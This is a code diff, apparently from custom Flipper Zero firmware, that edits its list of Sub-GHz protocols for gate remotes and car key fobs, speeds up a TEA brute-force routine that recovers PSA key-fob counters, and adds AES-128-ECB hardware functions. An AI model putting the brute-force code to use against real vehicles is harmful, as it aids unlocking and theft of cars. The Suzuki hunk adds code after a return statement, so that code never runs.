-    &subghz_protocol_phoenix_v2,    //&subghz_protocol_honeywell_wdb,
+    &subghz_protocol_phoenix_v2,    
+    //&subghz_protocol_honeywell_wdb,
     //&subghz_protocol_magellan,      
     //&subghz_protocol_intertechno_v3,
-    //&subghz_protocol_clemsa,        //&subghz_protocol_ansonic,
-    &subghz_protocol_smc5326,       //&subghz_protocol_holtek_th12x,
-    &subghz_protocol_linear_delta3, //&subghz_protocol_dooya,
-    &subghz_protocol_alutech_at_4n, &subghz_protocol_kinggates_stylo_4k,
-    &subghz_protocol_bin_raw,       &subghz_protocol_mastercode,
+    //&subghz_protocol_clemsa,        
+    //&subghz_protocol_ansonic,
+    &subghz_protocol_smc5326,       
+    &subghz_protocol_holtek_th12x,
+    &subghz_protocol_linear_delta3, 
+    //&subghz_protocol_dooya,
+    &subghz_protocol_alutech_at_4n, 
+    &subghz_protocol_kinggates_stylo_4k,
+    &subghz_protocol_bin_raw,       
+    &subghz_protocol_mastercode,
     //&subghz_protocol_honeywell,     
     //&subghz_protocol_legrand,
-    &subghz_protocol_dickert_mahs,  //&subghz_protocol_gangqi,
-    &subghz_protocol_marantec24,    //&subghz_protocol_hollarm,
-    &subghz_protocol_hay21,         &subghz_protocol_revers_rb2,
+    &subghz_protocol_dickert_mahs,  
+    //&subghz_protocol_gangqi,
+    &subghz_protocol_marantec24,    
+    //&subghz_protocol_hollarm,
+    &subghz_protocol_hay21,         
+    &subghz_protocol_revers_rb2,
     //&subghz_protocol_feron,         
     &subghz_protocol_roger,
     //&subghz_protocol_elplast,       
     //&subghz_protocol_treadmill37,
-    &subghz_protocol_beninca_arc,   //&subghz_protocol_jarolift,
-    &subghz_protocol_vag,          &subghz_protocol_porsche_cayenne,  &subghz_protocol_ford_v0,
+    &subghz_protocol_beninca_arc,   
+    //&subghz_protocol_jarolift,
+    &subghz_protocol_vag,          
+    &subghz_protocol_porsche_cayenne,  
+    &subghz_protocol_ford_v0,
     &subghz_protocol_psa,
-    &subghz_protocol_fiat_v0,       &subghz_protocol_fiat_marelli,
-    &subghz_protocol_subaru, &subghz_protocol_mazda_siemens,
-    &subghz_protocol_kia_v0,       &subghz_protocol_kia_v1,
-    &subghz_protocol_kia_v2,       &subghz_protocol_kia_v3_v4,
-    &subghz_protocol_kia_v5,       &subghz_protocol_kia_v6,
-    &subghz_protocol_suzuki, &subghz_protocol_mitsubishi_v0,
+    &subghz_protocol_fiat_spa,       
+    &subghz_protocol_fiat_marelli,
+    &subghz_protocol_subaru, 
+    &subghz_protocol_mazda_siemens,
+    &subghz_protocol_kia_v0,       
+    &subghz_protocol_kia_v1,
+    &subghz_protocol_kia_v2,       
+    &subghz_protocol_kia_v3_v4,
+    &subghz_protocol_kia_v5,       
+    &subghz_protocol_kia_v6,
+    &subghz_protocol_suzuki, 
+    &subghz_protocol_mitsubishi_v0,
 };
 
 const SubGhzProtocolRegistry subghz_protocol_registry = {

lib/subghz/protocols/protocol_items.h

@@ -23,16 +23,16 @@
 #include "secplus_v2.h"
 #include "secplus_v1.h"
 #include "megacode.h"
-//#include "holtek.h"
+#include "holtek.h"
 #include "chamberlain_code.h"
 #include "power_smart.h"
 #include "marantec.h"
 #include "bett.h"
 #include "doitrand.h"
 #include "phoenix_v2.h"
-//#include "honeywell_wdb.h"
-//#include "magellan.h"
-//#include "intertechno_v3.h"
+#include "honeywell_wdb.h"
+#include "magellan.h"
+#include "intertechno_v3.h"
 #include "clemsa.h"
 #include "ansonic.h"
 #include "smc5326.h"
@@ -42,8 +42,8 @@
 #include "kinggates_stylo_4k.h"
 #include "bin_raw.h"
 #include "mastercode.h"
-//#include "honeywell.h"
-//#include "legrand.h"
+#include "honeywell.h"
+#include "legrand.h"
 #include "dickert_mahs.h"
 #include "gangqi.h"
 #include "marantec24.h"
@@ -60,7 +60,7 @@
 #include "porsche_cayenne.h"
 #include "ford_v0.h"
 #include "psa.h"
-#include "fiat_v0.h"
+#include "fiat_spa.h"
 #include "fiat_marelli.h"
 #include "subaru.h"
 #include "kia_generic.h"
@@ -73,4 +73,3 @@
 #include "suzuki.h"
 #include "mitsubishi_v0.h"
 #include "mazda_siemens.h"
-#include "keys.h"

lib/subghz/protocols/psa.c

@@ -290,6 +290,32 @@ __attribute__((optimize("O3"), always_inline)) static inline void
     *v1 = b;
 }
 
+typedef struct {
+    uint32_t s0[TEA_ROUNDS];
+    uint32_t s1[TEA_ROUNDS];
+} PsaTeaSchedule;
+
+__attribute__((optimize("O3"), always_inline)) static inline void
+    psa_tea_build_schedule(const uint32_t* key, PsaTeaSchedule* out) {
+    for(int i = 0; i < TEA_ROUNDS; i++) {
+        uint32_t sum0 = (uint32_t)((uint64_t)i * TEA_DELTA);
+        uint32_t sum1 = (uint32_t)((uint64_t)(i + 1) * TEA_DELTA);
+        out->s0[i] = key[sum0 & 3] + sum0;
+        out->s1[i] = key[(sum1 >> 11) & 3] + sum1;
+    }
+}
+
+__attribute__((optimize("O3"), always_inline)) static inline void
+    psa_tea_encrypt_with_schedule(uint32_t* restrict v0, uint32_t* restrict v1, const PsaTeaSchedule* sched) {
+    uint32_t a = *v0, b = *v1;
+    for(int i = 0; i < TEA_ROUNDS; i++) {
+        a += (sched->s0[i] ^ (((b >> 5) ^ (b << 4)) + b));
+        b += (sched->s1[i] ^ (((a >> 5) ^ (a << 4)) + a));
+    }
+    *v0 = a;
+    *v1 = b;
+}
+
 static void psa_prepare_tea_data(uint8_t* buffer, uint32_t* w0, uint32_t* w1) {
     *w0 = ((uint32_t)buffer[3] << 16) | ((uint32_t)buffer[2] << 24) |
           ((uint32_t)buffer[4] << 8) | (uint32_t)buffer[5];
@@ -380,6 +406,8 @@ static void psa_extract_fields_mode36(uint8_t* buffer, SubGhzProtocolDecoderPSA*
 
 __attribute__((optimize("O3"))) static bool psa_brute_force_decrypt_bf1(SubGhzProtocolDecoderPSA* instance, uint8_t* buffer, uint32_t w0, uint32_t w1, PsaDecryptProgressCallback progress_cb, void* progress_ctx) {
 	uint32_t bf1_total = PSA_BF1_END - PSA_BF1_START;
+	PsaTeaSchedule bf1_sched;
+	psa_tea_build_schedule(PSA_BF1_KEY_SCHEDULE, &bf1_sched);
 	for(uint32_t counter = PSA_BF1_START; counter < PSA_BF1_END; counter++) {
 		if(progress_cb && ((counter - PSA_BF1_START) & 0xFFFF) == 0) {
 			uint8_t pct = (uint8_t)(((uint64_t)(counter - PSA_BF1_START) * 50) / bf1_total);
@@ -387,24 +415,24 @@ __attribute__((optimize("O3"))) static bool psa_brute_force_decrypt_bf1(SubGhzPr
 		}
         uint32_t wk2 = PSA_BF1_CONST_U4;
         uint32_t wk3 = counter;
-        psa_tea_encrypt(&wk2, &wk3, PSA_BF1_KEY_SCHEDULE);
-        
+        psa_tea_encrypt_with_schedule(&wk2, &wk3, &bf1_sched);
+
         uint32_t wk0 = (counter << 8) | 0x0E;
         uint32_t wk1 = PSA_BF1_CONST_U5;
-        psa_tea_encrypt(&wk0, &wk1, PSA_BF1_KEY_SCHEDULE);
-        
+        psa_tea_encrypt_with_schedule(&wk0, &wk1, &bf1_sched);
+
         uint32_t working_key[4] = {wk0, wk1, wk2, wk3};
-        
+
         uint32_t dec_v0 = w0;
         uint32_t dec_v1 = w1;
         psa_tea_decrypt(&dec_v0, &dec_v1, working_key);
-        
+
         if((counter & 0xFFFFFF) == (dec_v0 >> 8)) {
             uint8_t crc = psa_calculate_tea_crc(dec_v0, dec_v1);
             if(crc == (dec_v1 & 0xFF)) {
                 psa_unpack_tea_result_to_buffer(buffer, dec_v0, dec_v1);
                 psa_extract_fields_mode36(buffer, instance);
-				instance->decrypted_seed = counter; // bf1 found key
+				instance->decrypted_seed = counter;
                 return true;
             }
         }

lib/subghz/protocols/suzuki.c

@@ -284,6 +284,11 @@ SubGhzProtocolStatus subghz_protocol_decoder_suzuki_serialize(void *context, Fli
     instance->generic.btn = temp_btn;
     
     return ret;
+    if(ret == SubGhzProtocolStatusOk) {
+        flipper_format_write_uint32(flipper_format, "Serial", &temp_serial, 1);
+        flipper_format_write_uint32(flipper_format, "Btn", &temp_btn, 1);
+        flipper_format_write_uint32(flipper_format, "Cnt", &temp_cnt, 1);
+    }
 }
 
 SubGhzProtocolStatus subghz_protocol_decoder_suzuki_deserialize(void *context, FlipperFormat *flipper_format)

lib/toolbox/version.c

@@ -31,7 +31,7 @@ static Version version = {
     .magic = VERSION_MAGIC,
     .major = VERSION_MAJOR,
     .minor = VERSION_MINOR,
-    .git_hash = "ARF CFW",
+    .git_hash = GIT_COMMIT,
     .git_branch = GIT_BRANCH,
     .build_date = BUILD_DATE,
     .version = VERSION

targets/f18/api_symbols.csv

@@ -94,14 +94,6 @@ Header,+,lib/mbedtls/include/mbedtls/md.h,,
 Header,+,lib/mbedtls/include/mbedtls/md5.h,,
 Header,+,lib/mbedtls/include/mbedtls/sha1.h,,
 Header,+,lib/mbedtls/include/mbedtls/sha256.h,,
-Header,+,lib/mjs/mjs_array_buf_public.h,,
-Header,+,lib/mjs/mjs_array_public.h,,
-Header,+,lib/mjs/mjs_core_public.h,,
-Header,+,lib/mjs/mjs_exec_public.h,,
-Header,+,lib/mjs/mjs_object_public.h,,
-Header,+,lib/mjs/mjs_primitive_public.h,,
-Header,+,lib/mjs/mjs_string_public.h,,
-Header,+,lib/mjs/mjs_util_public.h,,
 Header,+,lib/mlib/m-algo.h,,
 Header,+,lib/mlib/m-array.h,,
 Header,+,lib/mlib/m-bptree.h,,
@@ -1256,6 +1248,8 @@ Function,+,furi_hal_crypto_enclave_load_key,_Bool,"uint8_t, const uint8_t*"
 Function,+,furi_hal_crypto_enclave_store_key,_Bool,"FuriHalCryptoKey*, uint8_t*"
 Function,+,furi_hal_crypto_enclave_unload_key,_Bool,uint8_t
 Function,+,furi_hal_crypto_enclave_verify,_Bool,"uint8_t*, uint8_t*"
+Function,+,furi_hal_crypto_aes128_ecb_decrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
+Function,+,furi_hal_crypto_aes128_ecb_encrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
 Function,+,furi_hal_crypto_encrypt,_Bool,"const uint8_t*, uint8_t*, size_t"
 Function,+,furi_hal_crypto_gcm,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*, _Bool"
 Function,+,furi_hal_crypto_gcm_decrypt_and_verify,FuriHalCryptoGCMState,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, const uint8_t*"
@@ -2150,88 +2144,6 @@ Function,+,menu_free,void,Menu*
 Function,+,menu_get_view,View*,Menu*
 Function,+,menu_reset,void,Menu*
 Function,+,menu_set_selected_item,void,"Menu*, uint32_t"
-Function,+,mjs_apply,mjs_err_t,"mjs*, mjs_val_t*, mjs_val_t, mjs_val_t, int, mjs_val_t*"
-Function,+,mjs_arg,mjs_val_t,"mjs*, int"
-Function,+,mjs_array_buf_get_ptr,char*,"mjs*, mjs_val_t, size_t*"
-Function,+,mjs_array_del,void,"mjs*, mjs_val_t, unsigned long"
-Function,+,mjs_array_get,mjs_val_t,"mjs*, mjs_val_t, unsigned long"
-Function,+,mjs_array_length,unsigned long,"mjs*, mjs_val_t"
-Function,+,mjs_array_push,mjs_err_t,"mjs*, mjs_val_t, mjs_val_t"
-Function,+,mjs_array_set,mjs_err_t,"mjs*, mjs_val_t, unsigned long, mjs_val_t"
-Function,+,mjs_call,mjs_err_t,"mjs*, mjs_val_t*, mjs_val_t, mjs_val_t, int, ..."
-Function,+,mjs_create,mjs*,void*
-Function,+,mjs_dataview_get_buf,mjs_val_t,"mjs*, mjs_val_t"
-Function,+,mjs_del,int,"mjs*, mjs_val_t, const char*, size_t"
-Function,+,mjs_destroy,void,mjs*
-Function,-,mjs_disasm_all,void,"mjs*, MjsPrintCallback, void*"
-Function,+,mjs_disown,int,"mjs*, mjs_val_t*"
-Function,-,mjs_dump,void,"mjs*, int, MjsPrintCallback, void*"
-Function,+,mjs_exec,mjs_err_t,"mjs*, const char*, mjs_val_t*"
-Function,+,mjs_exec_file,mjs_err_t,"mjs*, const char*, mjs_val_t*"
-Function,+,mjs_exit,void,mjs*
-Function,+,mjs_ffi_resolve,void*,"mjs*, const char*"
-Function,-,mjs_fprintf,void,"mjs_val_t, mjs*, FILE*"
-Function,+,mjs_get,mjs_val_t,"mjs*, mjs_val_t, const char*, size_t"
-Function,-,mjs_get_bcode_filename_by_offset,const char*,"mjs*, int"
-Function,+,mjs_get_bool,int,"mjs*, mjs_val_t"
-Function,+,mjs_get_context,void*,mjs*
-Function,+,mjs_get_cstring,const char*,"mjs*, mjs_val_t*"
-Function,+,mjs_get_double,double,"mjs*, mjs_val_t"
-Function,+,mjs_get_global,mjs_val_t,mjs*
-Function,+,mjs_get_int,int,"mjs*, mjs_val_t"
-Function,+,mjs_get_int32,int32_t,"mjs*, mjs_val_t"
-Function,+,mjs_get_lineno_by_offset,int,"mjs*, int"
-Function,+,mjs_get_offset_by_call_frame_num,int,"mjs*, int"
-Function,+,mjs_get_ptr,void*,"mjs*, mjs_val_t"
-Function,+,mjs_get_stack_trace,const char*,mjs*
-Function,+,mjs_get_string,const char*,"mjs*, mjs_val_t*, size_t*"
-Function,+,mjs_get_this,mjs_val_t,mjs*
-Function,+,mjs_get_v,mjs_val_t,"mjs*, mjs_val_t, mjs_val_t"
-Function,+,mjs_get_v_proto,mjs_val_t,"mjs*, mjs_val_t, mjs_val_t"
-Function,+,mjs_is_array,int,mjs_val_t
-Function,+,mjs_is_array_buf,int,mjs_val_t
-Function,+,mjs_is_boolean,int,mjs_val_t
-Function,+,mjs_is_data_view,int,mjs_val_t
-Function,+,mjs_is_foreign,int,mjs_val_t
-Function,+,mjs_is_function,int,mjs_val_t
-Function,+,mjs_is_null,int,mjs_val_t
-Function,+,mjs_is_number,int,mjs_val_t
-Function,+,mjs_is_object,int,mjs_val_t
-Function,+,mjs_is_object_based,int,mjs_val_t
-Function,+,mjs_is_string,int,mjs_val_t
-Function,+,mjs_is_truthy,int,"mjs*, mjs_val_t"
-Function,+,mjs_is_typed_array,int,mjs_val_t
-Function,+,mjs_is_undefined,int,mjs_val_t
-Function,+,mjs_mk_array,mjs_val_t,mjs*
-Function,+,mjs_mk_array_buf,mjs_val_t,"mjs*, char*, size_t"
-Function,+,mjs_mk_boolean,mjs_val_t,"mjs*, int"
-Function,+,mjs_mk_foreign,mjs_val_t,"mjs*, void*"
-Function,+,mjs_mk_foreign_func,mjs_val_t,"mjs*, mjs_func_ptr_t"
-Function,+,mjs_mk_function,mjs_val_t,"mjs*, size_t"
-Function,+,mjs_mk_null,mjs_val_t,
-Function,+,mjs_mk_number,mjs_val_t,"mjs*, double"
-Function,+,mjs_mk_object,mjs_val_t,mjs*
-Function,+,mjs_mk_string,mjs_val_t,"mjs*, const char*, size_t, int"
-Function,+,mjs_mk_undefined,mjs_val_t,
-Function,+,mjs_nargs,int,mjs*
-Function,+,mjs_next,mjs_val_t,"mjs*, mjs_val_t, mjs_val_t*"
-Function,+,mjs_own,void,"mjs*, mjs_val_t*"
-Function,+,mjs_prepend_errorf,mjs_err_t,"mjs*, mjs_err_t, const char*, ..."
-Function,-,mjs_print_error,void,"mjs*, FILE*, const char*, int"
-Function,+,mjs_return,void,"mjs*, mjs_val_t"
-Function,+,mjs_set,mjs_err_t,"mjs*, mjs_val_t, const char*, size_t, mjs_val_t"
-Function,+,mjs_set_errorf,mjs_err_t,"mjs*, mjs_err_t, const char*, ..."
-Function,+,mjs_set_exec_flags_poller,void,"mjs*, mjs_flags_poller_t"
-Function,+,mjs_set_ffi_resolver,void,"mjs*, mjs_ffi_resolver_t*, void*"
-Function,-,mjs_set_generate_jsc,void,"mjs*, int"
-Function,+,mjs_set_v,mjs_err_t,"mjs*, mjs_val_t, mjs_val_t, mjs_val_t"
-Function,+,mjs_sprintf,void,"mjs_val_t, mjs*, char*, size_t"
-Function,+,mjs_strcmp,int,"mjs*, mjs_val_t*, const char*, size_t"
-Function,+,mjs_strerror,const char*,"mjs*, mjs_err"
-Function,+,mjs_struct_to_obj,mjs_val_t,"mjs*, const void*, const mjs_c_struct_member*"
-Function,+,mjs_to_boolean_v,mjs_val_t,"mjs*, mjs_val_t"
-Function,+,mjs_to_string,mjs_err_t,"mjs*, mjs_val_t*, char**, size_t*, int*"
-Function,+,mjs_typeof,const char*,mjs_val_t
 Function,-,mkdtemp,char*,char*
 Function,-,mkostemp,int,"char*, int"
 Function,-,mkostemps,int,"char*, int, int"

targets/f7/api_symbols.csv

@@ -1454,6 +1454,8 @@ Function,+,furi_hal_crypto_enclave_load_key,_Bool,"uint8_t, const uint8_t*"
 Function,+,furi_hal_crypto_enclave_store_key,_Bool,"FuriHalCryptoKey*, uint8_t*"
 Function,+,furi_hal_crypto_enclave_unload_key,_Bool,uint8_t
 Function,+,furi_hal_crypto_enclave_verify,_Bool,"uint8_t*, uint8_t*"
+Function,+,furi_hal_crypto_aes128_ecb_decrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
+Function,+,furi_hal_crypto_aes128_ecb_encrypt,_Bool,"const uint8_t*, const uint8_t*, uint8_t*"
 Function,+,furi_hal_crypto_encrypt,_Bool,"const uint8_t*, uint8_t*, size_t"
 Function,+,furi_hal_crypto_gcm,_Bool,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, uint8_t*, _Bool"
 Function,+,furi_hal_crypto_gcm_decrypt_and_verify,FuriHalCryptoGCMState,"const uint8_t*, const uint8_t*, const uint8_t*, size_t, const uint8_t*, uint8_t*, size_t, const uint8_t*"

targets/f7/furi_hal/furi_hal_crypto.c

@@ -21,9 +21,11 @@
 #define CRYPTO_MODE_DECRYPT      (AES_CR_MODE_1)
 #define CRYPTO_MODE_DECRYPT_INIT (AES_CR_MODE_0 | AES_CR_MODE_1)
 
-#define CRYPTO_DATATYPE_32B 0U
-#define CRYPTO_KEYSIZE_256B (AES_CR_KEYSIZE)
-#define CRYPTO_AES_CBC      (AES_CR_CHMOD_0)
+#define CRYPTO_DATATYPE_32B  0U
+#define CRYPTO_DATATYPE_8B   (AES_CR_DATATYPE_1)
+#define CRYPTO_KEYSIZE_256B  (AES_CR_KEYSIZE)
+#define CRYPTO_AES_ECB       0U
+#define CRYPTO_AES_CBC       (AES_CR_CHMOD_0)
 
 #define CRYPTO_AES_CTR     (AES_CR_CHMOD_1)
 #define CRYPTO_CTR_IV_LEN  (12U)
@@ -748,3 +750,72 @@ FuriHalCryptoGCMState furi_hal_crypto_gcm_decrypt_and_verify(
 
     return FuriHalCryptoGCMStateOk;
 }
+
+static void crypto_key_init_ecb128(const uint8_t* key) {
+    CLEAR_BIT(AES1->CR, AES_CR_EN);
+    MODIFY_REG(
+        AES1->CR,
+        AES_CR_DATATYPE | AES_CR_KEYSIZE | AES_CR_CHMOD,
+        CRYPTO_DATATYPE_8B | CRYPTO_AES_ECB);
+
+    AES1->KEYR3 = ((uint32_t*)key)[0];
+    AES1->KEYR2 = ((uint32_t*)key)[1];
+    AES1->KEYR1 = ((uint32_t*)key)[2];
+    AES1->KEYR0 = ((uint32_t*)key)[3];
+}
+
+bool furi_hal_crypto_aes128_ecb_encrypt(
+    const uint8_t* key,
+    const uint8_t* input,
+    uint8_t* output) {
+    furi_check(furi_hal_crypto_mutex);
+    furi_check(furi_mutex_acquire(furi_hal_crypto_mutex, FuriWaitForever) == FuriStatusOk);
+
+    furi_hal_bus_enable(FuriHalBusAES1);
+    crypto_key_init_ecb128(key);
+
+    MODIFY_REG(AES1->CR, AES_CR_MODE, CRYPTO_MODE_ENCRYPT);
+    SET_BIT(AES1->CR, AES_CR_EN);
+
+    bool state = crypto_process_block((uint32_t*)input, (uint32_t*)output, 4);
+
+    CLEAR_BIT(AES1->CR, AES_CR_EN);
+    furi_hal_bus_disable(FuriHalBusAES1);
+    furi_check(furi_mutex_release(furi_hal_crypto_mutex) == FuriStatusOk);
+
+    return state;
+}
+
+bool furi_hal_crypto_aes128_ecb_decrypt(
+    const uint8_t* key,
+    const uint8_t* input,
+    uint8_t* output) {
+    furi_check(furi_hal_crypto_mutex);
+    furi_check(furi_mutex_acquire(furi_hal_crypto_mutex, FuriWaitForever) == FuriStatusOk);
+
+    furi_hal_bus_enable(FuriHalBusAES1);
+    crypto_key_init_ecb128(key);
+
+    MODIFY_REG(AES1->CR, AES_CR_MODE, CRYPTO_MODE_DECRYPT_INIT);
+    SET_BIT(AES1->CR, AES_CR_EN);
+
+    if(!furi_hal_crypto_wait_flag(AES_SR_CCF)) {
+        CLEAR_BIT(AES1->CR, AES_CR_EN);
+        furi_hal_bus_disable(FuriHalBusAES1);
+        furi_check(furi_mutex_release(furi_hal_crypto_mutex) == FuriStatusOk);
+        return false;
+    }
+
+    SET_BIT(AES1->CR, AES_CR_CCFC);
+
+    MODIFY_REG(AES1->CR, AES_CR_MODE, CRYPTO_MODE_DECRYPT);
+    SET_BIT(AES1->CR, AES_CR_EN);
+
+    bool state = crypto_process_block((uint32_t*)input, (uint32_t*)output, 4);
+
+    CLEAR_BIT(AES1->CR, AES_CR_EN);
+    furi_hal_bus_disable(FuriHalBusAES1);
+    furi_check(furi_mutex_release(furi_hal_crypto_mutex) == FuriStatusOk);
+
+    return state;
+}

targets/furi_hal_include/furi_hal_crypto.h

@@ -290,6 +290,32 @@ FuriHalCryptoGCMState furi_hal_crypto_gcm_decrypt_and_verify(
     size_t length,
     const uint8_t* tag);
 
+/** Encrypt a single 16-byte block using AES-128-ECB
+ *
+ * @param[in]  key     pointer to 16 bytes key data
+ * @param[in]  input   pointer to 16 bytes input data
+ * @param[out] output  pointer to 16 bytes output data
+ *
+ * @return     true on success
+ */
+bool furi_hal_crypto_aes128_ecb_encrypt(
+    const uint8_t* key,
+    const uint8_t* input,
+    uint8_t* output);
+
+/** Decrypt a single 16-byte block using AES-128-ECB
+ *
+ * @param[in]  key     pointer to 16 bytes key data
+ * @param[in]  input   pointer to 16 bytes input data
+ * @param[out] output  pointer to 16 bytes output data
+ *
+ * @return     true on success
+ */
+bool furi_hal_crypto_aes128_ecb_decrypt(
+    const uint8_t* key,
+    const uint8_t* input,
+    uint8_t* output);
+
 #ifdef __cplusplus
 }
 #endif